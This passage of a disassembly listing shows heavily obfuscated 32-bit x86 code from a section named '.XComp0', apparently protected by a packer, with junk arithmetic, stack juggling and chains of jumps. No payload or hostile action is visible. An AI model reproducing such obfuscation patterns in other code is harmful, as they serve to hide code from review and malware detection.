		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_58E7D1
; ---------------------------------------------------------------------------


loc_58E6DA:				; CODE XREF: .XComp0:0058EFA7j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 24h
		sub	edx, 7DF60653h
		add	edx, edi
		jmp	loc_585FAD
; ---------------------------------------------------------------------------


loc_58E6F3:				; CODE XREF: .XComp0:0058C731j
		push	edi
		mov	di, 74E7h
		dec	di
		shr	di, 8
		xor	di, 7C3Ch
		jmp	loc_585759
; ---------------------------------------------------------------------------


loc_58E708:				; CODE XREF: .XComp0:00595BFCj
		add	edx, 4
		jmp	loc_587D6E
; ---------------------------------------------------------------------------


loc_58E713:				; CODE XREF: .XComp0:00585686j
		add	esp, 4
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_588BE3
; ---------------------------------------------------------------------------


loc_58E73B:				; CODE XREF: .XComp0:00590679j
		mov	[esp], ecx
		mov	ecx, eax
		push	ecx
		jmp	loc_596FAC
; ---------------------------------------------------------------------------


loc_58E746:				; CODE XREF: .XComp0:00589D28j
		mov	esi, 38BE421Ch
		jmp	loc_58FABE
; ---------------------------------------------------------------------------


loc_58E750:				; CODE XREF: .XComp0:00588801j
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_586022
; ---------------------------------------------------------------------------


loc_58E764:				; CODE XREF: .XComp0:0059743Dj
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59608E
; ---------------------------------------------------------------------------


loc_58E770:				; CODE XREF: .XComp0:0058F1CDj
		sub	esp, 4
		jmp	loc_5968AF
; ---------------------------------------------------------------------------


loc_58E778:				; CODE XREF: .XComp0:0058BDA4j
		shl	ebx, 2
		add	ebx, 43FE5295h
		and	ebx, 35AA201Eh
		push	edi
		mov	edi, 18766D0Ch
		jmp	loc_596EA5
; ---------------------------------------------------------------------------


loc_58E792:				; CODE XREF: .XComp0:00584388j
		mov	bl, 0D3h
		jmp	loc_58F6C3
; ---------------------------------------------------------------------------


loc_58E799:				; CODE XREF: .XComp0:005966A9j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_586622
; ---------------------------------------------------------------------------


loc_58E7A9:				; CODE XREF: .XComp0:005895BEj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B860
; ---------------------------------------------------------------------------


loc_58E7BE:				; CODE XREF: .XComp0:005905B6j
		and	ebp, 1B535FAFh
		not	ebp
		jmp	loc_587EE9
; ---------------------------------------------------------------------------


loc_58E7CB:				; CODE XREF: .XComp0:00584BB1j
		push	esp
		jmp	loc_595A66
; ---------------------------------------------------------------------------


loc_58E7D1:				; CODE XREF: .XComp0:0058E6D5j
		push	7F6C3BB8h
		mov	ebp, [esp]
		push	53Ah
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_587DE5
; ---------------------------------------------------------------------------


loc_58E7F4:				; CODE XREF: .XComp0:005974CEj
		add	bl, 1Dh
		add	bl, al
		jmp	loc_5869D2
; ---------------------------------------------------------------------------


loc_58E7FE:				; CODE XREF: .XComp0:0058746Dj
		push	eax
		push	ebx
		mov	ebx, 5DDE6DEDh
		mov	eax, ebx
		pop	ebx
		or	eax, 71532EA1h
		push	ecx
		mov	ecx, 33F1130h
		xor	eax, ecx
		jmp	loc_598F67
; ---------------------------------------------------------------------------


loc_58E81A:				; CODE XREF: .XComp0:00598C40j
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_587430
; ---------------------------------------------------------------------------


loc_58E826:				; CODE XREF: .XComp0:00596F58j
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, 79EF77D2h
		sub	esp, 4
		mov	[esp], edx
		add	dword ptr [esp], 2CCC6429h
		pop	ecx
		push	edx
		mov	edx, 2CCC6429h
		sub	ecx, edx
		pop	edx
		mov	edx, [esp]
		jmp	loc_593D8B
; ---------------------------------------------------------------------------


loc_58E854:				; CODE XREF: .XComp0:00588058j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58425B
; ---------------------------------------------------------------------------


loc_58E85F:				; CODE XREF: .XComp0:00595BBDj
		add	cl, 8Fh
		add	cl, 5Ah
		not	cl
		or	cl, 34h
		jmp	loc_598FE0
; ---------------------------------------------------------------------------


loc_58E86F:				; CODE XREF: .XComp0:0058EEEAj
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_586531
; ---------------------------------------------------------------------------


loc_58E881:				; CODE XREF: .XComp0:005962F4j
		neg	edi
		add	edi, 1B1BF6D7h
		sub	ebp, edi
		jmp	loc_584455
; ---------------------------------------------------------------------------


loc_58E890:				; CODE XREF: .XComp0:005854DAj
		push	edx
		sub	dword ptr [esp], 292609Ch
		pop	ecx
		add	ecx, 292609Ch
		jmp	loc_591829
; ---------------------------------------------------------------------------


loc_58E8A4:				; CODE XREF: .XComp0:0058B125j
		xchg	ebx, [esp]
		mov	esp, [esp]
		and	ecx, ebx
		pop	ebx
		shr	ecx, 0Ah
		push	683Ch
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_593183
; ---------------------------------------------------------------------------


loc_58E8DB:				; CODE XREF: .XComp0:0058D6AAj
		sub	edx, 33697321h
		mov	ecx, [edx]
		jmp	loc_591CD3
; ---------------------------------------------------------------------------


loc_58E8E8:				; CODE XREF: .XComp0:00585EEEj
		sub	ebx, 2B77F6DBh
		jmp	loc_58DBEA
; ---------------------------------------------------------------------------


loc_58E8F3:				; CODE XREF: .XComp0:005975C9j
		mov	esi, 6F97FEFh
		not	esi
		or	esi, 109E7DEDh
		jmp	loc_58EFB6
; ---------------------------------------------------------------------------


loc_58E905:				; CODE XREF: .XComp0:00587B81j
		mov	edi, 44781ECFh
		jmp	loc_591554
; ---------------------------------------------------------------------------


loc_58E90F:				; CODE XREF: .XComp0:0058F330j
		pop	ebx
		shl	ebx, 2
		jmp	loc_59128C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_592A58
; ---------------------------------------------------------------------------


loc_58E969:				; CODE XREF: .XComp0:005889E6j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58E96E:				; CODE XREF: .XComp0:00590E14j
		mov	ebp, 1D88379Ch
		mov	edx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esi, edx
		pop	edx
		jmp	loc_5873E1
; ---------------------------------------------------------------------------


loc_58E993:				; CODE XREF: .XComp0:0058ABB6j
		add	esp, 4
		push	60BDh
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	187Dh
		jmp	loc_58A8A0
; ---------------------------------------------------------------------------


loc_58E9AD:				; CODE XREF: .XComp0:0058ECB2j
		sub	ecx, 56BE160Ch
		sub	ecx, 9BF6DB98h
		sub	esi, ecx
		pop	ecx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1E822099h
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_591BB4
; ---------------------------------------------------------------------------


loc_58E9E8:				; CODE XREF: .XComp0:00592F08j
		mov	ecx, 2
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_594455
; ---------------------------------------------------------------------------


loc_58EA00:				; CODE XREF: .XComp0:0058C807j
		xor	ebx, [esp]
		jmp	loc_598E36
; ---------------------------------------------------------------------------


loc_58EA08:				; CODE XREF: .XComp0:0058CFE1j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5982E4
; ---------------------------------------------------------------------------


loc_58EA16:				; CODE XREF: .XComp0:0058FFCCj
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ebx
		sub	edi, 2C08618Eh
		pop	ebx
		push	ecx
		jmp	loc_59898B
; ---------------------------------------------------------------------------


loc_58EA2B:				; CODE XREF: .XComp0:00585211j
		pop	edx
		push	ebx
		push	0FC6h
		mov	[esp], edx
		jmp	loc_59115E
; ---------------------------------------------------------------------------


loc_58EA3A:				; CODE XREF: .XComp0:0058D3D5j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58D435
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_586D9C
; ---------------------------------------------------------------------------


loc_58EA5C:				; CODE XREF: .XComp0:0058BBEAj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_58DA01
; ---------------------------------------------------------------------------


loc_58EA6C:				; CODE XREF: .XComp0:0058FA47j
		shr	ecx, 1
		add	ecx, 0EF0AB8A1h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_58EA93
; ---------------------------------------------------------------------------


loc_58EA8D:				; CODE XREF: .XComp0:00589DB5j
		pop	ecx
		jmp	loc_583D87
; ---------------------------------------------------------------------------


loc_58EA93:				; CODE XREF: .XComp0:0058EA88j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_592DCA
; ---------------------------------------------------------------------------


loc_58EAA7:				; CODE XREF: .XComp0:00597C00j
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_596E56
; ---------------------------------------------------------------------------


loc_58EABB:				; CODE XREF: .XComp0:0058C3E7j
		add	esi, 4
		push	1E8Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_58C1DD
; ---------------------------------------------------------------------------


loc_58EAD7:				; CODE XREF: .XComp0:00589674j
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5876B0
; ---------------------------------------------------------------------------


loc_58EAE7:				; CODE XREF: .XComp0:0059824Bj
		add	ebp, 4
		push	ecx
		push	eax
		mov	eax, 6DE75CB1h
		push	eax
		mov	eax, 51D903B7h
		inc	eax
		or	eax, 2E985666h
		or	eax, 0ABC2AB0h
		not	eax
		shr	eax, 2
		jmp	loc_5928EE
; ---------------------------------------------------------------------------


loc_58EB0F:				; CODE XREF: .XComp0:005938CDj
		sub	ebp, 5C21710Ch
		add	ebp, edi
		add	ebp, 5C21710Ch
		jmp	loc_588AC1
; ---------------------------------------------------------------------------


loc_58EB22:				; CODE XREF: .XComp0:00595521j
		push	dword ptr [esp]
		jmp	loc_584AD7
; ---------------------------------------------------------------------------


loc_58EB2A:				; CODE XREF: .XComp0:00585061j
		push	edx
		sub	esp, 4
		jmp	loc_59895B
; ---------------------------------------------------------------------------


loc_58EB33:				; CODE XREF: .XComp0:00588747j
		push	eax
		pop	esi
		jmp	loc_58A28E
; ---------------------------------------------------------------------------


loc_58EB3A:				; CODE XREF: .XComp0:00591604j
		push	ecx
		mov	ecx, 798106E9h
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58BDE2
; ---------------------------------------------------------------------------


loc_58EB4A:				; CODE XREF: .XComp0:00584F1Fj
		shr	ebp, 5
		shr	ebp, 5
		sub	ebp, 5DB634B9h
		shl	ebp, 4
		jmp	loc_59555A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58EB6C:				; CODE XREF: .XComp0:0058D783j
		mov	[esp], ebx
		mov	bl, 0CCh
		jmp	loc_58F514
; ---------------------------------------------------------------------------


loc_58EB76:				; CODE XREF: .XComp0:005863B9j
		sub	ebp, 728567EEh
		jmp	loc_598EE6
; ---------------------------------------------------------------------------


loc_58EB81:				; CODE XREF: .XComp0:0058C05Cj
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		sub	esp, 4
		jmp	loc_58BFDA
; ---------------------------------------------------------------------------


loc_58EB9A:				; CODE XREF: .XComp0:00589477j
		mov	ah, 0Fh
		add	ah, 0B9h
		jmp	loc_58BFA4
; ---------------------------------------------------------------------------


loc_58EBA4:				; CODE XREF: .XComp0:00589B2Fj
		pop	ebp
		jmp	loc_595BF6
; ---------------------------------------------------------------------------


loc_58EBAA:				; CODE XREF: .XComp0:00597247j
		mov	eax, 4D884D42h
		add	eax, 0DD62F47Bh
		add	ecx, eax
		jmp	loc_590FB3
; ---------------------------------------------------------------------------


loc_58EBBB:				; CODE XREF: .XComp0:005867B1j
		add	esp, 4
		add	bl, 92h
		jmp	loc_58C853
; ---------------------------------------------------------------------------


loc_58EBC9:				; CODE XREF: .XComp0:00592158j
		mov	edx, 5B336106h
		jmp	loc_590A1E
; ---------------------------------------------------------------------------


loc_58EBD3:				; CODE XREF: .XComp0:00585A4Ej
		shl	eax, 1
		xchg	eax, esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		xchg	eax, esi
		sub	eax, 9E209BCh
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_58AD39
; ---------------------------------------------------------------------------


loc_58EBF5:				; CODE XREF: .XComp0:0058D005j
		neg	edx
		jmp	loc_58A5BF
; ---------------------------------------------------------------------------


loc_58EBFC:				; CODE XREF: .XComp0:0058F793j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_593F7B
; ---------------------------------------------------------------------------


loc_58EC08:				; CODE XREF: .XComp0:00586B8Fj
		xor	edx, 8B5933BBh
		add	ecx, 1AA57943h
		add	ecx, edx
		sub	ecx, 1AA57943h
		jmp	loc_5947A8
; ---------------------------------------------------------------------------


loc_58EC21:				; CODE XREF: .XComp0:0058705Dj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58CD86
; ---------------------------------------------------------------------------


loc_58EC30:				; CODE XREF: .XComp0:00587420j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58EC35:				; CODE XREF: .XComp0:00597520j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59262D
; ---------------------------------------------------------------------------


loc_58EC43:				; CODE XREF: .XComp0:00593551j
		push	esi
		mov	esi, 307FABD7h
		sub	ebp, esi
		pop	esi
		jmp	loc_594C30
; ---------------------------------------------------------------------------


loc_58EC51:				; CODE XREF: .XComp0:0058AE6Cj
		xor	eax, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, esi
		mov	ebx, ebp
		pop	ebp
		jmp	loc_58F9A1
; ---------------------------------------------------------------------------


loc_58EC62:				; CODE XREF: .XComp0:0058C67Cj
		mov	edi, 213B77C0h
		sub	eax, edi
		pop	edi
		push	6389h
		mov	[esp], edi
		mov	edi, 3E4E6D07h
		shr	edi, 5
		jmp	loc_593ED9
; ---------------------------------------------------------------------------


loc_58EC7F:				; CODE XREF: .XComp0:00584DC1j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58D4AE
; ---------------------------------------------------------------------------


loc_58EC96:				; CODE XREF: .XComp0:00597832j
		or	eax, eax
		jnz	loc_583BDC
		push	esi
		push	57BB4814h
		pop	esi
		dec	esi
		sub	esi, 1
		push	ecx
		mov	ecx, 52FC4911h
		jmp	loc_58E9AD
; ---------------------------------------------------------------------------


loc_58ECB7:				; CODE XREF: .XComp0:00585BEAj
		or	edi, 69026FEEh
		dec	edi
		sub	edi, 415F3BBBh
		add	ebx, edi
		pop	edi
		add	ebx, ebp
		sub	ebx, 2C084442h
		pop	ebp
		xor	ebx, [esp]
		jmp	loc_5923C1
; ---------------------------------------------------------------------------


loc_58ECD8:				; CODE XREF: .XComp0:0058F8AFj
		shr	ecx, 1
		sub	ecx, 98363B8h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5969DA
; ---------------------------------------------------------------------------


loc_58ECE8:				; CODE XREF: .XComp0:00597307j
		xor	eax, esi
		jmp	loc_584E0A
; ---------------------------------------------------------------------------


loc_58ECEF:				; CODE XREF: .XComp0:0059695Dj
		push	edi
		mov	edi, 1
		jmp	loc_59290C
; ---------------------------------------------------------------------------


loc_58ECFA:				; CODE XREF: .XComp0:0058613Dj
		mov	ecx, 5FA574A7h
		xor	ecx, edx
		jmp	loc_5857C6
; ---------------------------------------------------------------------------


loc_58ED06:				; CODE XREF: .XComp0:00598EE8j
		add	ebp, 728567EEh
		jmp	loc_5914AC
; ---------------------------------------------------------------------------


loc_58ED11:				; CODE XREF: .XComp0:00583FE3j
		push	ebp
		push	edi
		jmp	loc_5915A4
; ---------------------------------------------------------------------------


loc_58ED18:				; CODE XREF: .XComp0:005883F7j
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 64E63916h
		sub	ecx, 1
		xor	ecx, 60A821DDh
		and	ecx, 17C01EAEh
		jmp	loc_5980DD
; ---------------------------------------------------------------------------


loc_58ED39:				; CODE XREF: .XComp0:0058A7DDj
		mov	[esp], edx
		jmp	loc_591759
; ---------------------------------------------------------------------------


loc_58ED41:				; CODE XREF: .XComp0:00589EC0j
		add	esp, 4
		push	50A9h
		mov	[esp], ecx
		jmp	loc_59444B
; ---------------------------------------------------------------------------


loc_58ED54:				; CODE XREF: .XComp0:00596FF2j
		push	24h
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_58DFCB
; ---------------------------------------------------------------------------


loc_58ED6B:				; CODE XREF: .XComp0:0058C12Dj
		sub	eax, edi
		add	eax, 36C214AFh
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_591164
; ---------------------------------------------------------------------------


loc_58ED94:				; CODE XREF: .XComp0:00587885j
		shl	edi, 7
		xor	edi, 1697718Bh
		sub	eax, edi
		pop	edi
		sub	eax, ebp
		push	ebx
		mov	ebx, 19FF0DC1h
		jmp	loc_58506D
; ---------------------------------------------------------------------------


loc_58EDAD:				; CODE XREF: .XComp0:0058B467j
		mov	esi, 3C127E33h
		mov	ecx, 3F20262h
		add	ecx, esi
		pop	esi
		add	edi, ecx
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58AFFD
; ---------------------------------------------------------------------------


loc_58EDE5:				; CODE XREF: .XComp0:005906D4j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5920F4
; ---------------------------------------------------------------------------


loc_58EDFB:				; CODE XREF: .XComp0:0059763Ej
		sub	esp, 4
		mov	[esp], ebp
		push	60EAh
		mov	[esp], ebx
		jmp	loc_5952BF
; ---------------------------------------------------------------------------


loc_58EE0E:				; CODE XREF: .XComp0:005867C1j
		sub	ecx, 8D00087h
		add	ebx, ecx
		pop	ecx
		jmp	loc_593DE8
; ---------------------------------------------------------------------------


loc_58EE1C:				; CODE XREF: .XComp0:00584D95j
		add	esi, edx
		add	esi, 7DB40983h
		add	esi, 69E1F64h
		pop	edx
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_58B8D1
; ---------------------------------------------------------------------------


loc_58EE38:				; CODE XREF: .XComp0:00596821j
		xor	edi, 2FE976A0h
		jmp	loc_58B20D
; ---------------------------------------------------------------------------


loc_58EE43:				; CODE XREF: .XComp0:00594875j
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_58E163
; ---------------------------------------------------------------------------


loc_58EE50:				; CODE XREF: .XComp0:0058932Bj
		sub	esp, 4
		jmp	loc_593B84
; ---------------------------------------------------------------------------


loc_58EE5B:				; CODE XREF: .XComp0:00586193j
		mov	[esp], ecx
		push	edx
		push	42C83486h
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 598E0FB8h
		or	edx, 83968C9h
		sub	edx, 7C9B3C59h
		add	edx, 0E0ED2978h
		push	ebp
		mov	ebp, edx
		mov	ecx, ebp
		jmp	loc_598B58
; ---------------------------------------------------------------------------


loc_58EE8F:				; CODE XREF: .XComp0:00597EE2j
		shl	esi, 8
		shr	esi, 1
		sub	esi, 54925794h
		xor	esi, 0BD83D968h
		jmp	loc_5923BA
; ---------------------------------------------------------------------------


loc_58EEA5:				; CODE XREF: .XComp0:00590F9Ej
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 45D23C95h
		shl	edx, 5
		jmp	loc_58670A
; ---------------------------------------------------------------------------


loc_58EEC4:				; CODE XREF: .XComp0:005965B6j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58F2C7
; ---------------------------------------------------------------------------


loc_58EECF:				; CODE XREF: .XComp0:005905D1j
		mov	ebp, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58F18E
; ---------------------------------------------------------------------------


loc_58EEDF:				; CODE XREF: .XComp0:00597CC1j
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, esi
		jmp	loc_58E86F
; ---------------------------------------------------------------------------


loc_58EEEF:				; CODE XREF: .XComp0:0058E253j
		xor	eax, 8DA9D323h
		and	edi, eax
		pop	eax
		jmp	loc_595C94
; ---------------------------------------------------------------------------


loc_58EEFC:				; CODE XREF: .XComp0:0058AAE0j
		push	4854h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_598250
; ---------------------------------------------------------------------------


loc_58EF1A:				; CODE XREF: .XComp0:0058C31Aj
		add	edx, 4
		jmp	loc_593A3E
; ---------------------------------------------------------------------------


loc_58EF25:				; CODE XREF: .XComp0:00584898j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58EF2A:				; CODE XREF: .XComp0:00585C9Aj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	57B1h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58DD7D
; ---------------------------------------------------------------------------


loc_58EF55:				; CODE XREF: .XComp0:005845FEj
		pop	ebx
		jmp	loc_58CA8C
; ---------------------------------------------------------------------------


loc_58EF5B:				; CODE XREF: .XComp0:0058646Dj
		mov	[esp], ebp
		jmp	loc_5894B8
; ---------------------------------------------------------------------------


loc_58EF63:				; CODE XREF: .XComp0:0058A80Bj
		not	eax
		shr	eax, 8
		push	5212h
		mov	[esp], ecx
		mov	ecx, 3C8D3083h
		jmp	loc_597E85
; ---------------------------------------------------------------------------


loc_58EF7A:				; CODE XREF: .XComp0:005983E0j
		mov	esp, [esp]
		mov	ax, [esp]
		push	4D69h
		mov	[esp], edi
		push	455Ah
		jmp	loc_58F524
; ---------------------------------------------------------------------------


loc_58EF93:				; CODE XREF: .XComp0:00588007j
		xchg	eax, edi
		jmp	loc_597627
; ---------------------------------------------------------------------------


loc_58EF99:				; CODE XREF: .XComp0:0058BC46j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58E6DA
; ---------------------------------------------------------------------------


loc_58EFAC:				; CODE XREF: .XComp0:00587D9Aj
		push	ebx
		sub	esp, 4
		push	esp
		jmp	loc_58D0C5
; ---------------------------------------------------------------------------


loc_58EFB6:				; CODE XREF: .XComp0:0058E900j
		sub	esi, 4383306Dh
		jmp	loc_584B05
; ---------------------------------------------------------------------------


loc_58EFC1:				; CODE XREF: .XComp0:00595EE1j
		pop	edx
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	2DB8h
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		push	ebp
		mov	ebp, 3DAE52F7h
		sub	ebp, 53BC010Dh
		and	ebp, 7D2D3B75h
		xor	ebp, 1CF36B8Dh
		push	esi
		mov	esi, 75D37AE9h
		xor	ebp, esi
		pop	esi
		mov	eax, ebp
		pop	ebp
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_590FFB
; ---------------------------------------------------------------------------


loc_58F005:				; CODE XREF: .XComp0:0058A359j
		sub	al, 0DBh
		push	ecx
		sub	esp, 4
		jmp	loc_58C768
; ---------------------------------------------------------------------------


loc_58F010:				; CODE XREF: .XComp0:005875EEj
		sub	esp, 4
		jmp	loc_5947E0
; ---------------------------------------------------------------------------


loc_58F018:				; CODE XREF: .XComp0:00595B02j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	716Eh
		mov	[esp], eax
		mov	eax, 1C326969h
		or	eax, 21C250FAh
		and	eax, 607D7384h
		not	eax
		and	eax, 66470h
		dec	eax
		xor	eax, 6046Bh
		push	69Dh
		mov	[esp], ecx
		mov	ecx, 766868B6h
		jmp	loc_58CE6C
; ---------------------------------------------------------------------------


loc_58F05C:				; CODE XREF: .XComp0:00585664j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 5EFF61D9h
		jmp	loc_58729F
; ---------------------------------------------------------------------------


loc_58F06F:				; CODE XREF: .XComp0:00584EE4j
		sub	eax, 3D746780h
		jmp	loc_587512
; ---------------------------------------------------------------------------


loc_58F079:				; CODE XREF: .XComp0:005937E3j
		mov	edi, 0C8862E3h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, ebx
		sub	esp, 4
		jmp	loc_58FCF3
; ---------------------------------------------------------------------------


loc_58F096:				; CODE XREF: .XComp0:00587418j
		dec	edi
		add	edi, 0F741F452h
		sub	edx, edi
		pop	edi
		sub	ebp, 30B10BEBh
		add	ebp, edx
		add	ebp, 30B10BEBh
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_58669B
; ---------------------------------------------------------------------------


loc_58F0B9:				; CODE XREF: .XComp0:00584040j
		xor	edi, 3621482Bh
		push	eax
		mov	eax, 551A4E7Eh
		jmp	loc_593F82
; ---------------------------------------------------------------------------


loc_58F0CA:				; CODE XREF: .XComp0:00588D08j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		push	ecx
		mov	ecx, 8400EA1Ch
		sub	ebx, ecx
		pop	ecx
		mov	eax, ebx
		jmp	loc_586AFC
; ---------------------------------------------------------------------------


loc_58F0E0:				; CODE XREF: .XComp0:00592D29j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_589525
; ---------------------------------------------------------------------------


loc_58F0EA:				; CODE XREF: .XComp0:00583E3Ej
		push	ebx
		mov	ebx, 4
		sub	edi, 57A467DAh
		add	edi, ebx
		add	edi, 57A467DAh
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 2
		jmp	loc_598C45
; ---------------------------------------------------------------------------


loc_58F111:				; CODE XREF: .XComp0:00586EDCj
		add	edx, 5F860E47h
		pop	ebp
		push	ebp
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		jmp	loc_591D47
; ---------------------------------------------------------------------------


loc_58F126:				; CODE XREF: .XComp0:00596286j
		push	edi
		mov	edi, 66827EF5h
		shr	edi, 2
		shr	edi, 2
		push	ebp
		mov	ebp, 4F4D7C62h
		jmp	loc_592F0D
; ---------------------------------------------------------------------------


loc_58F13D:				; CODE XREF: .XComp0:0058922Ej
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		jmp	loc_594728
; ---------------------------------------------------------------------------


loc_58F149:				; CODE XREF: .XComp0:00597311j
		add	ebp, ebx
		jmp	loc_585857
; ---------------------------------------------------------------------------


loc_58F150:				; CODE XREF: .XComp0:00585955j
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		pop	edi
		push	edx
		pop	eax
		jmp	loc_592575
; ---------------------------------------------------------------------------


loc_58F15D:				; CODE XREF: .XComp0:00584078j
		push	eax
		push	ebp
		jmp	loc_587C95
; ---------------------------------------------------------------------------


loc_58F164:				; CODE XREF: .XComp0:00597AE3j
		push	ecx
		push	esp
		jmp	loc_5876BF
; ---------------------------------------------------------------------------


loc_58F16B:				; CODE XREF: .XComp0:0058E147j
		push	eax
		mov	eax, 798856BDh
